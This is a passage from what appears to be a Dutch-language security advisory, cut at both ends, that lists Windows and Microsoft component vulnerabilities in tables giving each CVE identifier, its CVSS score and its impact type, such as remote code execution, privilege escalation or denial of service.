Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              